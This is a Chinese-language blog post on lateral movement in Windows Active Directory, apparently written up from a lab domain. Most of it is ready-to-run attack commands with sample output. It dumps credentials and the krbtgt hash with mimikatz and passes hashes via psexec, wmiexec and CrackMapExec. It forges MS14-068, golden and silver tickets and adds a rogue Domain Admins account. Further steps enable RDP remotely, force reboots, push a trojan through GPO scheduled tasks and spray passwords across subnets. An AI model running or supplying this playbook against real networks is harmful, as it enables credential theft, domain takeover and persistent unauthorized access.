横向渗透

域渗透思路

通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。

token窃取

令牌(Token)

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

令牌有很多种:

  • 访问令牌(Access Token):表示访问控制操作主体的系统对象
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符
  • 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

Windows的AccessToken有两种类型:

  • Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话 (例如使用net use访问共享文件夹)。

AccessToken的窃取与利用

AccessToken的窃取与利用需要administrator管理员权限。也就是说要提权。

窃取AccessToken的方法:

incognito.exe程序 、MSF里的incognito模块

incognito.exe

https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

  • AccessToken 的列举(需要 administrator 权限,且当前主机登录域用户)
1
incognito.exe list_tokens -u

image-20251011190811022

  • 模拟其他用户的令牌(复制 token)
1
incognito.exe execute -c "完整的 Token 名" cmd.exe

image-20251011191357925

MSF下的incognito模块

1
2
3
4
5
6
7
8
use incognito #加载incognito
list_tokens -u #列出AccessToken
getuid #查看当前token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
steal_token 1252 #从进程窃取token
getsystem #提升至system权限
rev2self #返回到之前的AccessToken权限

PTH(pass the hash) HASH 传递

Pass-the-Hash(简称 PtH)是 Windows/内网常见的一类攻击思路:攻击者并不需要知道用户的明文密码,只要得到了该用户的密码哈希值(比如 NTLM hash),就可以在网络认证协议(主要是 NTLM 的挑战—响应机制)中直接使用这个哈希来进行身份验证,从而访问远端主机或服务,就像拿到了明文密码一样。

在域中,通常统一布置的域主机都会有统一的账号密码,因此只要拿到当前主机的administrator的ntlm hash 即可横向登录其他主机

NTLM hash认证过程

1
2
3
4
5
6
1. 客户端向服务器请求访问
2. 服务器 -> 客户端:发送随机 challenge(server nonce)
3. 客户端:用本地密码/NT Hash 和 challenge 计算 response(不同版本算法不同)
4. 客户端 -> 服务器:发送 response(以及身份信息)
5. 服务器:用已知的凭证或域数据库计算/验证是否能产生同样的 response
6. 验证通过 -> 授予访问

mimitkaz pth

1
2
3
privilege::debug #初始化
sekurlsa::logonpasswords #获取ntlm hash
sekurlsa::pth /user:administrator /domain:moonsec /ntlm:42e2656ec24331269f82160ff5962387 #移动
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Authentication Id : 0 ; 256039 (00000000:0003e827)
Session : Interactive from 1
User Name : Administrator
Domain : 12SERVER10
Logon Server : 12SERVER10
Logon Time : 2025/10/13 18:45:12
SID : S-1-5-21-863449252-2694517269-2204416733-500
msv :
[00010000] CredentialKeys
* NTLM : 42e2656ec24331269f82160ff5962387
* SHA1 : 202a4f252fa716b16cc934c114a2b4423add410d
[00000003] Primary
* Username : Administrator
* Domain : 12SERVER10
* NTLM : 42e2656ec24331269f82160ff5962387
* SHA1 : 202a4f252fa716b16cc934c114a2b4423add410d
tspkg :
wdigest :
* Username : Administrator
* Domain : 12SERVER10
* Password : (null)
kerberos :
* Username : Administrator
* Domain : 12SERVER10
* Password : (null)
ssp :
credman :

mimitkaz 远程访问主机共享

1
dir \\192.168.31.159\c$

image-20251013225250196

wmiexec 调用远程主机cmd

1
wmiexec.exe -hashes 42e2656ec24331269f82160ff5962387:42e2656ec24331269f82160ff5962387 administrator@192.168.31.159

image-20251013225446362

psexec

以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议

明文连接

1
2
3
4
5
PsExec64.exe /accepteula /s \\192.168.0.123 -u domain\Administrator -p 123456 cmd
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的shell直接直接执行回显
-u 域\用户名
-p 密码

hash连接

1
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

或则用impacket 工具包下的 psexec

1
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

在使用 PsExec 时需要注意以下几点:

• 需要远程系统开启 admin$ 共享(默认是开启的)

• 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放445 端口

• 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。PsExec.exe /accepteula /s \\192.168.0.141 cmd.exe

• 在使用 PsExec 执行远程命令时,会在目标系统中创建一个psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

• 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell

登陆域管理命令

impacket 下的 psexec

1
2
3
python3 psexec.py moonsec/Administrator@192.168.0.142 

执行命令后输入密码

msf hash

1
2
3
4
use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

CrackMapExec

CrackMapExec 可以对 C 段中的主机进行批量 pth

项目地址

https://github.com/byt3bl33d3r/CrackMapExec.git

1
2
3
crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4

192.168.9.0/24 C 段进行批量 pass the hash

WMI

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口

( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)

1
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"

之后建立 IPC$ ,使用 type 读取执行结果

1
2
net use \\192.168.0.123\ipc$ "123456" /user:administrator #创建ipc$
type \\192.168.0.123\c$\ip.txt #读取文件

wmiexec.py

在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取shell

hash

1
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 

明文

1
python3 wmiexec.py administrator:123456@192.168.0.123

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能

wmiexec.vbs 下载地址

https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fk8gege%2FK8tools%2Fblob%2Fmaster%2Fwmiexec.vbs

1
cscript //nologo wmiexec.vbs /shell 192.168.0.123 administrator 123456

wmic 的其他命令

使用 wmic 远程开启目标的 RDP

1
2
3
4
# 适于 Windows 7、8、10,server 2008、2012、2016,注意ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLEWHERE ServerName='计算机名' call SetAllowTSConnections 1
或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

判断 RDP

1
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections

远程重启机子

1
wmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"

DCOM

Windows组件对象模型(COM)是原⽣Windows应⽤程序编程接⼝(API)的⼀个组件,它允许软件对 象或实现⼀个或多个接⼝的可执⾏代码之间进⾏交互。通过COM,客户端对象可以调⽤服务器对象的⽅ 法,通常是动态链接库(DLL)或可执⾏⽂件(EXE)。

分布式COM(DCOM)是透明的中间件,使⽤远程过程调⽤(RPC)技术将COM的功能扩展到本地计 算机之外。 通过利⽤分布式组件对象模型(DCOM)使⽤有效帐户与远程机器进⾏交互。

默认情况下,只有管理员才能通过DCOM远程激活和启动COM对象。

1
2
proxychains impacket-dcomexec 0day/sqladmin:'admin!@#45'@192.168.3.142

WinRM

winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的⼀部分。 是⼀项允许管理员在系统上远程执⾏管理任务的服务,使⽤此服务需要管理员级别的凭据。

通信通过HTTP(5985)或HTTPS SOAP(5986)执⾏,(5986关闭,标识WinRM服务配置为仅接受 HTTP连接)默认情况下⽀持Kerberos和NTLM身份验证以及基本身份验证。

Windows Vista/win7必须⼿动启动,Windows 2008 以上版本默认⾃动状态;

WinRS 适⽤于Windows 2008 以上版本,Windows 2012 之后的版本默认允许远程任意主机来管理。

1
run winrs -r:OWA2013 -u:dbadmin -p:admin!@#45 "ipconfig"

PTT 票据传递(Pass the Ticket)

Kerberos 认证原理

AS → TGT

TGS → ST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
┌───────────┐
│ 用户(Client) │AS-REQ
└─────┬─────┘
1) 请求登录:发送用户名,hash加密的时间戳

┌───────────┐
│ AS (认证服务器) │AS-REP
└─────┬─────┘
2) 响应:
│ - 给用户临时会话密钥 (Client/TGS Session Key) [用户hash加密,客户端可解]
+
│ - 给用户TGT,包含CT_SK [krbtht hash加密,客户端不能解,只能带去TGS]

┌───────────┐
│ 用户(Client) │TGS-REQ
└─────┬─────┘
3) 请求访问服务:
│ - 发送TGT
+
│ - 发送Authenticator (用as返回的CT_SK临时会话密钥加密)CT_SK
+
│ - username

┌───────────┐
│ TGS (票据服务) │TGS-REP
└─────┬─────┘
4) 响应:
│ - Service Ticket,包括CS_SK [server hash加密,客户端不能解,只能给服务端]
│ - 新的客户端-服务端临时密钥,CS_SK (CT_SK加密) [客户端可解]

┌───────────┐
│ 用户(Client) │
└─────┬─────┘
5) 请求访问目标服务:
│ - 发送Service Ticket
│ - 发送Authenticator2 (用客户端-服务端临时密钥加密,CS_SK)

┌───────────┐
│ 目标服务(Server) │
└─────┬─────┘
6) 验证:
│ - 解Service Ticket得到客户端-服务端临时密钥CS_SK
│ - 用该密钥解Authenticator2,验证客户端
6) 响应:
│ - 返回用客户端-服务端临时密钥加密的时间戳 (证明服务端活着)

┌───────────┐
│ 用户(Client) │
└───────────┘
- 解时间戳,验证双向认证成功

MS14-068

ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用。

利用条件

1
2
3
1、获取域普通用户的账号密码
2、获取域普通用户的sid
3、服务器未打KB3011780补丁

信息收集

1
2
3
net config workstation  //查看域名称
nltest /dsgetdc:域名 //查看dc主机名
systeminfo |find "3011780" //查询补丁

访问 08server-dc 失败 提示拒绝访问

image-20251016190455355

获取sid

1
2
3
4
5
whoami/all

用户名 SID
============ ==============================================
moonsec\test S-1-5-21-1597891982-3989020091-3585142632-1103

伪造票据

1
2
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-1597891982-3989020091-3585142632-1103 -d 08SERVER-DC.moonsec.fbi

image-20251016190850488

清空并添加凭据

1
2
3
mimikatz # kerberos::list  //展示凭据
mimikatz # kerberos::purge //清空票据
mimikatz # kerberos::ptc 票据文件地址

再次访问

1
dir \\08server-dc.moonsec.fbi\c$

image-20251016191604539

psexec建立shell

1
PsExec64.exe /accepteula /s \\08server-dc.moonsec.fbi cmd.exe

image-20251016191800555

添加域管账号密码

1
2
net user moonsec123 Qwe123... /add /domain
net group "Domain Admins" moonsec123 /add /domain

黄金票据

黄金票据是利用krbtgt hash 伪造tgt,常用于后渗透权限维持,在管理员未更改krbtgt用户密码时,依然可以适应hash伪造tgt实现任意用户登陆。

伪造金票的所需条件

1、域名称

2、域的 SID 值

3、域的 KRBTGT 账号的 HASH

4、伪造任意用户名

导出用户 krbtgt 的 hash

1
2
3
4
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv或 lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonsec.fbi /user:krbtgt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit">loghash.txt

image-20251016193241461

利用 mimikatz 生成金票生成.kirbi 文件并保存

1
2
3
4
5
6
7
mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-1597891982-3989020091-3585142632 /krbtgt:94557e3e6e61e6742c1d87052d21a67a /ticket:ticket.kirbi" exit

/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称

导入

1
2
mimikatz # kerberos::purge
mimikatz # kerberos::ptt C:\Users\test\ticket.kirbi

连接成功

1
dir \\08server-dc.moonsec.fbi\c$

反弹shell

1
PsExec64.exe /accepteula /s \\08server-dc.moonsec.fbi cmd.exe

image-20251016194604535

白银票据

前提条件

已经控制了域名并且使用域管理员登录或者提权的system。

条件如下:

1
2
3
4
5
6
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML哈希
6.需要伪造的用户名(这个可以随意)

信息收集

1
2
3
4
5
shell whoami /user 获取域名和SID
shell net config workstation 获取完整域名
shell wmic useraccount list brief 获取域名和SID
shell net time /domain 获取域主机名
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt 收集hash
1
2
3
S-1-5-21-1597891982-3989020091-3585142632

42e2656ec24331269f82160ff5962387

伪造票据

1
2
3
4
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>/service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt


kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-1597891982-3989020091-3585142632 /target:08server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt

kekeo 制作环境银票

1
2
3
4
5
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387


tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirbi

image-20251018170012290

连接

1
PsExec64.exe /accepteula /s \\08server-dc.moonsec.fbi cmd.exe

image-20251018170157854

GPO组策略横向

组策略横向组策略(英语:Group Policy)是微软Windows NT家族操作系统的⼀个特性,它可以控制⽤ 户帐户和计算机帐户的⼯作环境。 组策略提供了操作系统、应⽤程序和活动⽬录中⽤户设置的集中化管理和配置。

⾃Windows Server 2008开始,GPO组策略对象开始⽀持计划任务,以便于管理域中的计算机和⽤户。

利⽤组策略的计划任务实现横向移动。

  • 创建⼀个新⽂件夹,在共享中点击⾼级共享,然后选择权限,设置everyone的权限为完全控制
  • 在安全中编辑添加everyone的权限为完全控制
  • 放置⽊⻢
  • 创建组策略
  • 创建计划任务
  • 等待组策略启⽤,即可上线。

密码喷洒

喷洒条件

域中基本都有相关密码策略,需要注意策略中的错误次数限制以及账号被锁定时间,避免喷洒时账 号被锁定。

密码策略检查

1
2
3
proxychains cme smb 192.168.3.142 -u "sqlsvr" -p "Admin12345" --pass-pol

proxychains crackmapexec smb 192.168.3.142 -u "sqlsvr" -p "Admin12345" --pass-pol

账号锁定阈值,是none,则代表没有错误次数限制

账号锁定时间为30分钟

如果有次数限制,则密码字典条数最好⼩于该值,避免被锁定。

喷洒主机

已知道账号和密码,喷洒主机

1
2
proxychains -q cme smb 192.168.3.0/24 -u "sqlsvr" -p "Admin12345"
proxychains -q crackmapexec smb 192.168.3.0/24 -u "sqlsvr" -p "Admin12345"

喷洒⽤户名

已知密码,喷洒⽤户名

1
2
3
proxychains -q cme smb 192.168.3.142 -u users.txt -p 'Admin12345'
proxychains -q crackmapexec smb 192.168.3.142 -u users.txt -p 'Admin12345'

喷洒密码

已知⽤户名,喷洒密码

1
2
3
proxychains -q cme smb 192.168.3.142 -u 'administrator' -p top100password.txt
proxychains -q crackmapexec smb 192.168.3.142 -u 'administrator' -p top100password.txt

喷洒hash

已知道账号和hash,喷洒主机

1
2
3
proxychains -q cme smb 192.168.3.0/24 -u "sqlsvr" -H "ccef208c6485269c20db2cad21734fe7"
proxychains -q crackmapexec smb 192.168.3.0/24 -u "sqlsvr" -H "ccef208c6485269c20db2cad21734fe7"

喷洒服务

1
2
3
4
5
6
proxychains -q cme mssql 192.168.3.0/24 -u sa -p 'admin'
proxychains -q cme rdp 192.168.3.0/24 -u sa -p 'admin'
proxychains -q cme ssh 192.168.3.0/24 -u sa -p 'admin'
proxychains -q cme ldap 192.168.1.0/24 -u user -p password
proxychains -q cme ldap 192.168.1.0/24 -u user -H A29F7623FD11550DEF0192DE9246F46B

参考链接

https://www.cnblogs.com/yuzly/p/10859520.html

https://www.cnblogs.com/candada/p/17491028.html#%E4%B8%89%E5%AE%9E%E9%AA%8C%E5%89%8D%E6%8F%90


横向渗透
http://xiaowu5.cn/2026/01/12/横向渗透/
作者
5
发布于
2026年1月12日
许可协议
BY XIAOWU